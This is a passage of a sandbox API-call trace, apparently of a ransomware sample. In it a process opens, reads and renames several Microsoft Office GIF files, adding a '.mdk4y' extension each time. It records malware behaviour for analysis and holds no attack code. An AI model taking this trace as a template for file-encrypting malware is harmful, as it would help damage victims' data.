Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21336_.gif.mdk4y")) returned 1 [0184.441] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.441] AreFileApisANSI () returned 1 [0184.441] GetACP () returned 0x4e4 [0184.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21338_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21338_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.441] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21338_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.442] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825967200000) returned 1 [0184.442] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x344, lpOverlapped=0x0) returned 1 [0184.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825967400000) returned 1 [0184.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825967400000) returned 1 [0184.444] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21338_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21338_.gif.mdk4y")) returned 1 [0184.446] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.446] AreFileApisANSI () returned 1 [0184.446] GetACP () returned 0x4e4 [0184.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21340_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21340_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.446] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21340_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.448] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825967800000) returned 1 [0184.448] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x96, lpOverlapped=0x0) returned 1 [0184.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825967900000) returned 1 [0184.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825967900000) returned 1 [0184.449] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21340_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21340_.gif.mdk4y")) returned 1 [0184.450] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.450] AreFileApisANSI () returned 1 [0184.450] GetACP () returned 0x4e4 [0184.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21348_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21348_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.450] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21348_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825968100000) returned 1 [0184.451] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x46b, lpOverlapped=0x0) returned 1 [0184.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825968200000) returned 1 [0184.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825968200000) returned 1 [0184.453] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21348_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21348_.gif.mdk4y")) returned 1 [0184.453] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.454] AreFileApisANSI () returned 1 [0184.454] GetACP () returned 0x4e4 [0184.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21370_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21370_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.454] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21370_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825968400000) returned 1 [0184.454] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8e3, lpOverlapped=0x0) returned 1 [0184.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825968500000) returned 1 [0184.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825968500000) returned 1 [0184.456] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21370_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21370_.gif.mdk4y")) returned 1 [0184.458] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.459] AreFileApisANSI () returned 1 [0184.459] GetACP () returned 0x4e4 [0184.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21390_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21390_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.459] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21390_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825969000000) returned 1 [0184.460] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x15e, lpOverlapped=0x0) returned 1 [0184.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825969100000) returned 1 [0184.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825969100000) returned 1 [0184.461] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21390_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21390_.gif.mdk4y")) returned 1 [0184.463] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.463] AreFileApisANSI () returned 1 [0184.463] GetACP () returned 0x4e4 [0184.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21413_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21413_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.463] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21413_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825969300000) returned 1 [0184.463] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3de, lpOverlapped=0x0) returned 1 [0184.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825969500000) returned 1 [0184.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825969500000) returned 1 [0184.465] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21413_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21413_.gif.mdk4y")) returned 1 [0184.469] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.469] AreFileApisANSI () returned 1 [0184.469] GetACP () returned 0x4e4 [0184.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21427_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21427_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.469] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21427_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.470] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825970000000) returned 1 [0184.470] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x770, lpOverlapped=0x0) returned 1 [0184.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825972800000) returned 1 [0184.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825972800000) returned 1 [0184.499] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21427_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21427_.gif.mdk4y")) returned 1 [0184.500] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.500] AreFileApisANSI () returned 1 [0184.500] GetACP () returned 0x4e4 [0184.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21448_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21448_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.500] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21448_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21448_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825973100000) returned 1 [0184.501] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x11c, lpOverlapped=0x0) returned 1 [0184.502] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825973200000) returned 1 [0184.502] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825973200000) returned 1 [0184.502] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21448_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21448_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21448_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21448_.gif.mdk4y")) returned 1 [0184.504] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.504] AreFileApisANSI () returned 1 [0184.504] GetACP () returned 0x4e4 [0184.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21495_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21495_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.504] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21495_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21495_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825973500000) returned 1 [0184.505] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2da, lpOverlapped=0x0) returned 1 [0184.508] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825973800000) returned 1 [0184.508] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825973800000) returned 1 [0184.508] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21495_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21495_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21495_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21495_.gif.mdk4y")) returned 1 [0184.509] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.509] AreFileApisANSI () returned 1 [0184.509] GetACP () returned 0x4e4 [0184.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21512_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21512_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.510] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21512_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21512_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825974100000) returned 1 [0184.511] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x34d, lpOverlapped=0x0) returned 1 [0184.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825974400000) returned 1 [0184.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825974400000) returned 1 [0184.514] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21512_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21512_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21512_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21512_.gif.mdk4y")) returned 1 [0184.517] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.517] AreFileApisANSI () returned 1 [0184.517] GetACP () returned 0x4e4 [0184.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21527_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21527_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.517] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21527_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21527_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825974800000) returned 1 [0184.518] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x24e, lpOverlapped=0x0) returned 1 [0184.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825974800000) returned 1 [0184.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825974800000) returned 1 [0184.519] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21527_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21527_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21527_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21527_.gif.mdk4y")) returned 1 [0184.520] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.520] AreFileApisANSI () returned 1 [0184.520] GetACP () returned 0x4e4 [0184.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21548_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21548_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.520] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21548_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21548_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825975100000) returned 1 [0184.521] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x73d, lpOverlapped=0x0) returned 1 [0184.538] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825976800000) returned 1 [0184.538] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825976800000) returned 1 [0184.539] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21548_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21548_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21548_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21548_.gif.mdk4y")) returned 1 [0184.540] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.540] AreFileApisANSI () returned 1 [0184.540] GetACP () returned 0x4e4 [0184.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115855.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115855.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.540] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115855.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115855.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825977100000) returned 1 [0184.541] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x11a, lpOverlapped=0x0) returned 1 [0184.547] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825977700000) returned 1 [0184.547] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825977700000) returned 1 [0184.547] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115855.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115855.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115855.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115855.gif.mdk4y")) returned 1 [0184.549] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.549] AreFileApisANSI () returned 1 [0184.549] GetACP () returned 0x4e4 [0184.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115856.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115856.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.549] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115856.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115856.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825978000000) returned 1 [0184.550] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x11a, lpOverlapped=0x0) returned 1 [0184.551] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825978100000) returned 1 [0184.551] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825978100000) returned 1 [0184.551] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115856.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115856.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115856.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115856.gif.mdk4y")) returned 1 [0184.555] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.555] 